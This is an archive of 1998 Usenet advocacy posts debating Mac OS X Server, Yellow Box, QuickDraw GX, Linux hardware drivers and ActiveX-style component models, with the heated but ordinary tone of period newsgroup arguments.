Message-ID: <slrn76lth5.5ho.jedi@dementia.mishnet>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <slrn76jlho.lp.davecook@sputnik.escnd1.sdca.home.com>
On Sun, 06 Dec 1998 00:54:56 GMT, David M. Cook <davecook@home.com> wrote:
>On 6 Dec 1998 00:35:11 GMT, Matthew Cromer <matthew_cromer@iname.com> wrote:
>
>>[...] reuse of binary software components.
>
>Take a look at www.gnustep.org. Also, both GNOME and KDE will use CORBA.
>See http://linas.org/linux/corba.html
...or just have a look at the X concept of swallowing
or setenv $VISUAL...
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: 5 Dec 1998 21:37:38 GMT
Organization: AOL http://www.aol.com
References: <74bgvp$dd2$1@nnrp1.dejanews.com>
Message-ID: <19981205163738.05515.00000630@ng-ch1.aol.com>
mmalc said:
> I'm not sure what the use would be of finding
>colours of different hue but with the same saturation (i.e. same radius)?
Actually, the exact opposite (excluding colors with the same saturation) would
be useful for those doing clip-art work--the colors in color clipart are always
different saturation values so that the image will still be recognizible when
rendered in greyscale.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 5 Dec 98 14:38:43 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28EF5FE-25285@206.165.43.151>
References: <749sn9$4m6$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
malcolm@plsys.co.uk said:
>In article <B28C59EA-5F903@206.165.43.2>,
>> GX is a bit lower-level than the various 'Kits, in this respect.
>>
>I'm sure 3DKit could go lower level too.
>
>> However, you didn't try to rotate the stereo pair of views in 3D,
>> did you?
>>
>
>Ah, shifting Goalpost Syndrome again. No, I didn't, however from what I
>remember, actually better than that I'll look at the documentation:
Not "shifting the Goalpost" at all. Didn't you read the following sentence
about how this would be closer to the equivalent?
And...
GX is an API for drawing graphics. It doesn't provide a camera library as
part of the main API, but as part of an auxiliary API that is NOT well
documented.
Also, whoever said that GX does all things 3D as well as a 3D graphics
library? It is a powerful 2D graphics engine meant for 2D desktop
publishing with the ability to edit 2D graphics and text after a
perspective has been applied, not a 3D graphics library designed to work
with a specific applications framework.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 5 Dec 98 14:43:08 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28EF705-2905C@206.165.43.151>
References: <749taq$56b$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
malcolm@plsys.co.uk said:
>I guess the Big Picture "perspective" is -- how well does GX's model fit
>with
>the Model-View-Controller paradigm which is so successful in YB (and
>which
>gives the foundation for the ease with which scripting is added, cf
>document
>mentioned above).
Um, I'm talking about scripting the drawing of objects from within a non-YB
app. Certainly, it would be possible to add a structured API around YB
graphics, and in fact, GX is said to be a structured API wrapper around a
C++ libray.
The point is that OLDER Macs can't use Yellow Box, and there are over 10
million of them out there. The obvious thing to do would be create a Carbon
GX-like API based on the graphics engine under Carbon. However, you can't
get GX transfer modes out of such a thing unless the graphics engine
supports GX transfer modes. Ditto with GX's 3x3 perspective transform. The
4x? library that Mike talks about sounds great, but will it be available in
Carbon?
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 5 Dec 98 14:49:28 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28EF882-2E9E8@206.165.43.151>
References: <749tou$5le$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
malcolm@plsys.co.uk said:
>Better than imagining it, it's one of the examples in the document
>describing
>scriptability for YellowBox:
>
>http://developer.apple.com/techpubs/macosxserver/System/
>Documentation/Developer/YellowBox/TasksAndConcepts/
>ProgrammingTopics/Scripting/ScriptableApps/scriptableappstoc.html
>
Again, this applies to YB apps, which is great, BUT it doesn't address two
important issues:
use of YB-based stuff in MacOS 8.x
compatibility with GX transfer modes.
If you're dealing with MacOS X, there's a lot of stuff that can be done
that won't work for 15 million Mac owners. Even if 8.x gets a Carbon
library for a GX-like object-based graphics engine, will it have the GX
transfer modes? These are VERY kool and should be in there.
A "prominent WebObjects developer" recently gave an online editorial
complaining about the lack of GX transfer modes, so I don't think that
they're making it into Carbon/YB graphics.
THis is a Bad Thing.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 5 Dec 98 15:01:33 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28EFB74-39B03@206.165.43.151>
References: <F3Guq7.4rt@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>> Most of the GX API is pretty good, with a few major kludges.
>
> That's not entirely the issue though. The GX API is _huge_, so huge in
>fact that I feel that's one of the major reasons no one used it. At my
>last job they quite literally laughed about it.
The GX API isn't really that huge if you describe it in OOP terms. And I'm
the only one who would possibly ever use ALL of it in any given situation
because of the nature of GXFCN.
>
>> sample code isn't as good as it could be, and the documentation reflects
>> that it was an afterthought to the whole thing with lot of redundancies
in
>> documentation.
>
> Well even if you cut the manuals in half they are still way too big
IMHO.
>
>> Basically, they tried to provide an OOP graphics engine via a structured
>> API and provided documentation more suitable for a structured API.
>
> Hmm, that's an interesting take.
You have 13 shape objects, an Ink Object, a Transform Object and a Style
Object. You also have viewport and view device objects. There's also a
ColorProfile (ColorSynch) object.
Most all of the shape objects share the same methods, but the bitmap and 3
text objects have extra methods suitable for bitmap manipulation and
text-processing. The viewport and view device objects have much the same
API, but serve somewhat different, but related purposes.
There's a lot of kitchen-sink stuff that would more properly belong in a
different part of a class library, but GX was meant to work on any System
7.x release without requiring other parts, so it is bloated, feature-wise.
It IS nice to give HyperTalk stack developers a more robust Random()
function, though...
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: mawarkus@t-online.de (Matthias Warkus)
Newsgroups: comp.sys.mac.advocacy,misc.invest.stocks,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Rehash Top Ten (was: Net '94 = Linux '99)
Date: 5 Dec 1998 21:24:08 GMT
Organization: Royal Space Navy / Question Mark Software
Message-ID: <74c89o$ile$2@news02.btx.dtag.de>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <B6DC2A2A2680901E.344457EA9C0EB739.05181CE8B041105B@library-proxy.airnews.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Sheldon Gartner schrieb:
[schnib]
> And what, exactly, do I mean by someone contributing their GUI?
You mean that you rehash something that has already been rehashed.
Endlessly.
> The usual suspect are:
>
> (1) IBM, with OS/2's Workspace Shell (I think that's what it's
> called).
[schnib]
> (2) Acorn's RiscOS GUI.
[schnib]
> (3) Apple.
Look at what I put in an e-Mail yesterday (Mike List can tell you it's
true):
I'm going to tell you what is my problem. It is seeing the same stuff
over and over again, every third day, literally. The top ten are:
1. We must make a single GUI for Linux, and I tell you what kind of
GUI:
2. I know something! MS could crush Linux, and I tell you how:
3. Without "easier" installation, Linux will never crush MS, and I
tell you why:
4. Linux needs a killer app, and I tell you why it's nothing else but
MS Office:
5. Linux must get more market share, and this is how we'll do it:
6. Linux users won't buy commercial software, I'll show you why:
7. X is slow, and I tell you why:
8. X is brain damaged, and I tell you why:
9. Apple MUST support Linux, and I tell you why:
10. The single GUI Linux needs is the OS/2 Presentation Manager, and
that's why:
It's bizarre how well that theory works.
Perhaps we should make FAQs out of two or three of the Top Ten?
TIA & HTH
mawa
--
Matthias Warkus | mawa@iname.com | Dyson Spheres for sale!
My site's been cracked but it'll go up on another server soon. My Geek
Code is no longer in my .signature. It's available on e-mail request.
/\/\/\\/\//\ (mawa) <-- this is why ASCII art in signatures is no good
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Sun, 06 Dec 1998 21:52:07 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74eua6$2td$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <SCOTT.98Nov30212634@slave.doubleu.com> <F3AoEs.4oL@T-FCN.Net> <SCOTT.98Dec3001200@slave.doubleu.com> <F3ECEw.AzA@T-FCN.Net> <746o4g$dol$1@nnrp1.dejanews.com> <F3Erws.Izr@T-FCN.Net> <SCOTT.98Dec4145454@slave.doubleu.com>
scott@nospam.doubleu.com (Scott Hess) wrote:
> I, personally, will be getting a copy regardless of whether it's $300
> or $1500. But I've got a decade sunk into aquiring expertise on the
> platform, and know I can easily earn it back. Apple doesn't have to
> convince _me_ that I want to develop on MacOS X Server - they need to
> convince me that they aren't going to screw things up by targetting
> some weird-ass super-high-end-user pay-through-the-nose market.
Amen to that. I know a lot of people who are watching to see what Apple will
do with OS X Server for precisely this reason: to see if Apple really has
learned from the past Apple/NeXT mistakes or whether recent hits like the
iMac are only flukes. I hope they don't blow it.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Message-ID: <366B0E2C.DDEF264F@nstar.net>
Date: Sun, 06 Dec 1998 17:07:24 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
References: <74cjfv$ss3$1@samsara0.mindspring.com> <slrn76ka3m.fbg.treed@freeside.ultraviolet.org> <74dcc9$295$1@renpen.nelson.org> <366A3AE3.1B440E86@nstar.net> <slrn76m2m7.jdb.treed@freeside.ultraviolet.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Tracy R Reed wrote:
> >Nobody, in this industry, has a monopoly on stupidity.
>
> If MS would open their source code, we wouldn't have to reinvent it. But as I
> see it, there is little choice.
Good grief. Many pats on the back for your devotion. What does
Microsoft's source code have to do with anything? For that matter, what
does Apple's source code have to do with it? I'm talking about those who
won't use or support KDE because it "looks like Windows".
> However, I don't think the Unix GUI's are veing
> reinvented poorly at all.
Those that *aren't* being reinvented are being done well. Qt and KDE are
a good example of this. They're built by people who understand the value
of orthodoxy and mimicry as well as that of new innovation. I'll leave
the alternatives as an exercise for the reader.
MJP
####################################################################
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Sat, 5 Dec 1998 18:44:26 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981205184426200173@ts5-41.aug.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net>
Michael J. Peck <mjpeck@nstar.net> wrote:
> In the second place, a Linux port is trivial by comparison to NT ports.
> I don't need to give you a litany of the differences between NT and
> generic Unices, and both BSD and Linux are "generic Unices".
There is no Linux port. YB for Intel exists. Why commit the resources to
port to a plaform - X86-, when an X86 port exists?
--
Remove nojunk from my email address to reply by email.
Message-ID: <3669D728.E1ED3020@nstar.net>
Date: Sat, 05 Dec 1998 19:00:24 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <748vs5$rla@news1.panix.com> <749jgu$i32@ns2.alink.net> <74c6im$qa4@news1.panix.com>
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Sal Denaro wrote:
> I'll go along with your statement that GUI support in Linux is still a bit
> immature, I very much disagree with your assessment of Linux HW drivers. Support
> is as good as it is for all other x86 OSs with the exception of Win95; and at
> least as good as WinNT.
Actually, Linux driver support is not as good as Windows NT's. It is
often very difficult to install and configure Linux hardware drivers.
While many will undoubtedly note (correctly, I might add) that NT's
drivers often suffer from the same problems, the degree to which this is
true doesn't really compare between the two.
For another thing, Linux driver support is often handled by third
parties, rather than by manufacturers. While the merits of this system
can be debatable, it's still a marked difference, one with significant
implications.
Finally, many Linux drivers are stable and functional, but are
under-functional. A classic example is video. Linux (by way of XFree86)
supports a fantastic number of video cards, but they are usually
unaccelerated for 2D, and with few exceptions, are totally unaccelerated
for 3D. On top of that, while low-level drivers may exist, hooks to
higher-level, unified APIs (like audio, video, and miscellaneous codecs)
are usually missing.
Take, for instance, the positional audio capabilities found in most
recent audio cards. This is a genuinely useful and desirable feature,
especially for gaming. Unfortunately, there are no drivers that support
positional audio under Linux, nor are there APIs which could portably
make use of such a feature.
These aren't killer issues, but they add up to an important nuisance.
Because Mac OS X Server has been marginalized by Apple, it will likely
suffer from precisely the same pathologies (on Intel, perhaps on
Macintoshes, as well).
[cut]
MJP
Message-ID: <3669D962.F5C9CBBB@nstar.net>
Date: Sat, 05 Dec 1998 19:09:54 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com>
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Rick wrote:
>
> Michael J. Peck <mjpeck@nstar.net> wrote:
>
> > In the second place, a Linux port is trivial by comparison to NT ports.
> > I don't need to give you a litany of the differences between NT and
> > generic Unices, and both BSD and Linux are "generic Unices".
>
> There is no Linux port. YB for Intel exists.
Why point out the obvious? I was discussing the relative difficulty of a
Linux port. I did not say that an NT port was new.
> Why commit the resources to
> port to a plaform - X86-, when an X86 port exists?
What resources?! Amidst a sea of references to "resources" with no
qualification, here is my guess: in the nearly 24 months since Apple
bought NeXT, exactly one person, comfortable with Mach, BSD, and Linux,
could have performed the BSD->Linux port of YB. Such a person could
probably have completed it in far less than 24 months.
MJP
From: satan@hell.home.com (Michael Lankton)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <748vs5$rla@news1.panix.com> <749jgu$i32@ns2.alink.net>
<74c6im$qa4@news1.panix.com> <3669D728.E1ED3020@nstar.net>
Message-ID: <UQla2.62$L52.130@news.rdc1.ne.home.com>
Date: Sun, 06 Dec 1998 02:19:32 GMT
NNTP-Posting-Date: Sat, 05 Dec 1998 18:19:32 PDT
Organization: @Home Network
In <3669D728.E1ED3020@nstar.net> "Michael J. Peck" wrote:-
> Take, for instance, the positional audio capabilities found in most
> recent audio cards. This is a genuinely useful and desirable feature,
> especially for gaming. Unfortunately, there are no drivers that support
> positional audio under Linux, nor are there APIs which could portably
> make use of such a feature.
Last time I checked unix wasn't a gaming platform. Any dedicated gamer will
have a windows partition on their box for games, whether they hate the
operating system or not.
OSS is working on a driver for my particular a3d sound card, but I very much
doubt the postional audio will be supported since all the apps that use it
are windows games. When game developers start putting bins for different
architectures on their game's cds this argument will be valid, but I am not
holding my breath, nor should you.
Until just very recently I was booting 6 os'es on this box, and I can tell
you with a certainty that hardware support in linux is only eclipsed by
windows 9x. When new hardware comes out, support is usually only a few
months away, if not from a free source, then from one of the commercial
driver sources like xig or oss. Operating systems that don't enjoy the
benefit of being open source, like beos and Mac OS X Server are pretty much
dependent on what be or apple makes available, and of course, ultimately it
all boils down to whether or not the hardware vendors make their specs
available to the people writing drivers.
From: Mark Woodward <markw@mohawksoft.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Sat, 05 Dec 1998 22:41:00 -0500
Organization: Mohawk Software
Message-ID: <3669FCCC.ABCCE1A0@mohawksoft.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
As a Windows/Windows NT/Linux/UNIX developer, I can only say grow up.
ActiveX is brain dead, VB is for idiots and accountants.
If you want to develop software, use real tools. C/C++ and/or Assembler.
ActiveX is an intentional road block to portability. The RAD development
idea is for idiotic acronym touting jerks. If you can write an
application in VB in 1 day or less, it like any interpreted language is
fine. When you want to write real applications, VB is a huge road block
to success.
I know, this discussion will cause a lot of hate responses. This will no
doubt be the result of VB developers to justify their positions. Too
bad, you will write, I expect that you will, and alas, in two years when
your big VB project has taken a year more than it should have. I hope
you remember.
Matthew Cromer wrote:
>
> Part of the advantage of the Microsoft platform for developers is the
> component model, which used to be called OLE and then OLE 2 and now which
> is called ActiveX.
>
> ActiveX is basically reuse of binary software components. There are a
> number of types of ActiveX components, from remote application invocation
> (ActiveX client and server), external procedure calls (ActiveX dlls) and
> finally ActiveX controls, which are literally parts of applications that
> are compiled binary objects that perform functions like textboxes, rtf
> textboxes, data access controls tying an application to odbc or other
> database drivers, video playback windows, and all kinds of other objects
> useful in application development. I believe in the old MacOS similar
> functions were provided by XFCNs and XCMDs with Hypercard, at least.
>
> I am wondering what kind of analogous parts are planned or exist for
> MacOS X. I believe that Java is using Javabeans and the like for this
> kind of functionality. I am also wondering if there is any movement
> towards this sort of component architecture forthcoming in the Opensource
> world.
>
> As a Microsoft VB developer, I am eagerly awaiting the time when an
> opensource team decides to take on Visual Basic, and ActiveX with an
> equivalent cross-platform, opensource technology. For while Microsoft
> pays my bills today, I am not enamored and swooning with Microsoft and in
> fact am convinced that an opensource team could do a better VB. Part of
> what is required is an admission from the opensource folks that a visual
> IDE has some profound advantages for certain programming tasks over the
> bare-metal flavor of a GCC or the like. Given the typical disdain for
> which much of the historical opensource movement holds for GUI/RAD
> development tools, it may take a while until someone decides to kick
> Microsoft's butt in this field with an opensource project like has
> happened with Apache and the Linux/BSDs versus IIS and the NT kernal.
> But I hope it doesn't take too long. Remember there are at least 3.5
> million GUI/RAD/4GL developers, an order of magnitude more than low
> level coders, and we would love be able to use opensource, crossplatform
> tools instead of proprietary, single-platform, closed-source, buggy tools.
>
> Matthew Cromer
--
Mohawk Software
Windows 95, Windows NT, UNIX, Linux. Applications, drivers, support.
Visit the Mohawk Software website: www.mohawksoft.com
From: Persona <person@ticnet.com>
Newsgroups: comp.sys.mac.advocacy,misc.invest.stocks,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Rehash Top Ten (was: Net '94 = Linux '99)
Date: Sat, 05 Dec 1998 21:14:20 -0600
Organization: The Internet Connection - ticnet.com (using Airnews.net!)
Message-ID: <A5EA873EA3F5C0E0.644A9BFD5F1DEBCA.106C0C17C5A69477@library-proxy.airnews.net>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <B6DC2A2A2680901E.344457EA9C0EB739.05181CE8B041105B@library-proxy.airnews.net> <74c89o$ile$2@news02.btx.dtag.de>
Abuse-Reports-To: abuse at ticnet.com to report improper postings
NNTP-Proxy-Relay: library3
NNTP-Posting-Time: Sat Dec 5 21:08:35 1998
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Matthias Warkus wrote:
> I'm going to tell you what is my problem. It is seeing the same stuff
> over and over again, every third day, literally. The top ten are:
>
> 1. We must make a single GUI for Linux, and I tell you what kind of
> GUI:
> 2. I know something! MS could crush Linux, and I tell you how:
> 3. Without "easier" installation, Linux will never crush MS, and I
> tell you why:
> 4. Linux needs a killer app, and I tell you why it's nothing else but
> MS Office:
> 5. Linux must get more market share, and this is how we'll do it:
> 6. Linux users won't buy commercial software, I'll show you why:
> 7. X is slow, and I tell you why:
> 8. X is brain damaged, and I tell you why:
> 9. Apple MUST support Linux, and I tell you why:
> 10. The single GUI Linux needs is the OS/2 Presentation Manager, and
> that's why:
>
> It's bizarre how well that theory works.
> Perhaps we should make FAQs out of two or three of the Top Ten?
Excellent list.
I think we ought to make FAQs out of all of these questions...once and
for all. Some of the answers/responses will answer mutiple items
(example: 1 and 10.) I wonder if the answer/response to most of these
items is "Linux is not Windows. Quit trying to assume that Linux runs
under Window assumptions/mythology."?
Just my opinion,
--Persona
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Sat, 5 Dec 1998 22:37:33 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <199812052237331041835@ts5-41.aug.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net>
Michael J. Peck <mjpeck@nstar.net> wrote:
> What resources?! Amidst a sea of references to "resources" with no
> qualification, here is my guess: in the nearly 24 months since Apple
> bought NeXT, exactly one person, comfortable with Mach, BSD, and Linux,
> could have performed the BSD->Linux port of YB. Such a person could
> probably have completed it in far less than 24 months.
... but why?? OS X will already have BSD underpinnings.., and there IS
an x86 version of YB. Why do linux too?
... besides MKlinux...
--
Remove nojunk from my email address to reply by email.
From: Mike Paquette <mpaque@ncal.verio.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Sat, 05 Dec 1998 20:18:06 -0800
Organization: Electronics Service Unit No. 16
Message-ID: <366A057D.9C54A305@ncal.verio.com>
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att. net> <B28C13F2-3BD09@206.165.43.215>
<746ta9$ic2$1@nnrp1.dejanews.com> <slrn76ef73.t57.mark@ns1.oaai.com>
<7481fj$31u$1@camel18.mindspring.com> <749oem$11u$1@nnrp1.dejanews.com>
<36686F42.EE553D2A@ericsson.com> <F3Gusw.4vq@T-FCN.Net> <36688305.30BFE5F1@ericsson.com>
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Michael Peck wrote:
>
> Maury Markowitz wrote:
> > A Bugs Life.
>
> Is that for real? A Bugs Life was rendered with 3DKit-based software? Or
> just Renderman-based software?
Maury is just pulling your leg.
3DKit is a modeling system, not a renderer.
However...
3DKit was written by someone at NeXT, who just received a Technical
Oscar last year for an older 3D product from Alias Research that's been
heavily used by a number of studios. The author is currently one of my
partners in crime on my current project... Wheee!
Mike Paquette
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Component Model, RAD development, opensource
Date: 6 Dec 1998 00:35:11 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <74cjfv$ss3$1@samsara0.mindspring.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Part of the advantage of the Microsoft platform for developers is the
component model, which used to be called OLE and then OLE 2 and now which
is called ActiveX.
ActiveX is basically reuse of binary software components. There are a
number of types of ActiveX components, from remote application invocation
(ActiveX client and server), external procedure calls (ActiveX dlls) and
finally ActiveX controls, which are literally parts of applications that
are compiled binary objects that perform functions like textboxes, rtf
textboxes, data access controls tying an application to odbc or other
database drivers, video playback windows, and all kinds of other objects
useful in application development. I believe in the old MacOS similar
functions were provided by XFCNs and XCMDs with Hypercard, at least.
I am wondering what kind of analogous parts are planned or exist for
MacOS X. I believe that Java is using Javabeans and the like for this
kind of functionality. I am also wondering if there is any movement
towards this sort of component architecture forthcoming in the Opensource
world.
As a Microsoft VB developer, I am eagerly awaiting the time when an
opensource team decides to take on Visual Basic, and ActiveX with an
equivalent cross-platform, opensource technology. For while Microsoft
pays my bills today, I am not enamored and swooning with Microsoft and in
fact am convinced that an opensource team could do a better VB. Part of
what is required is an admission from the opensource folks that a visual
IDE has some profound advantages for certain programming tasks over the
bare-metal flavor of a GCC or the like. Given the typical disdain for
which much of the historical opensource movement holds for GUI/RAD
development tools, it may take a while until someone decides to kick
Microsoft's butt in this field with an opensource project like has
happened with Apache and the Linux/BSDs versus IIS and the NT kernal.
But I hope it doesn't take too long. Remember there are at least 3.5
million GUI/RAD/4GL developers, an order of magnitude more than low
level coders, and we would love be able to use opensource, crossplatform
tools instead of proprietary, single-platform, closed-source, buggy tools.
Matthew Cromer
Message-ID: <3669FB38.101AF3C1@nstar.net>
Date: Sat, 05 Dec 1998 21:34:16 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <748vs5$rla@news1.panix.com> <749jgu$i32@ns2.alink.net>
<74c6im$qa4@news1.panix.com> <3669D728.E1ED3020@nstar.net> <UQla2.62$L52.130@news.rdc1.ne.home.com>
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Michael Lankton wrote:
> Last time I checked unix wasn't a gaming platform.
Humor me: is Windows NT a gaming platform? Why or why not?
> Any dedicated gamer will
> have a windows partition on their box for games, whether they hate the
> operating system or not.
> OSS is working on a driver for my particular a3d sound card, but I very much
> doubt the postional audio will be supported since all the apps that use it
> are windows games. When game developers start putting bins for different
> architectures on their game's cds this argument will be valid, but I am not
> holding my breath, nor should you.
This isn't really relevant to what I was saying. At any rate, you've got
it backward. Why would you expect developers to port their games to
Linux when the platform doesn't support the features of their games? You
don't wait for people to port hard work to a platform that will waste
it; you fix the platform, then you'll get developers.
This is classic Apple thinking. Apple waits for developers to create
opportunities, then it supports them. It's the opposite approach,
compared with the way Microsoft does it. Microsoft builds it, and they
come. Game support on MacOS is a perfect example. Game Sprockets was
*way* overdue when it finally arrived. Built-in OpenGL support will be
*way* overdue if and when it finally arrives.
> Until just very recently I was booting 6 os'es on this box, and I can tell
> you with a certainty that hardware support in linux is only eclipsed by
> windows 9x.
Really? Humor me for a moment, what kind of video card is in your box?
> When new hardware comes out, support is usually only a few
> months away, if not from a free source, then from one of the commercial
> driver sources like xig or oss.
Months can be the difference between entire generations of hardware.
> Operating systems that don't enjoy the
> benefit of being open source, like beos and Mac OS X Server are pretty much
> dependent on what be or apple makes available, and of course, ultimately it
> all boils down to whether or not the hardware vendors make their specs
> available to the people writing drivers.
Huh? The reason MacOS X Server and BeOS lack drivers is because they're
not Open Source?
I do believe Open Source advocates give their little experiment too much
credit.
MJP
Message-ID: <3669FD63.5BD808D6@nstar.net>
Date: Sat, 05 Dec 1998 21:43:31 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com>
Content-Type: text/plain; charset=us-ascii
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Mark Woodward wrote:
>
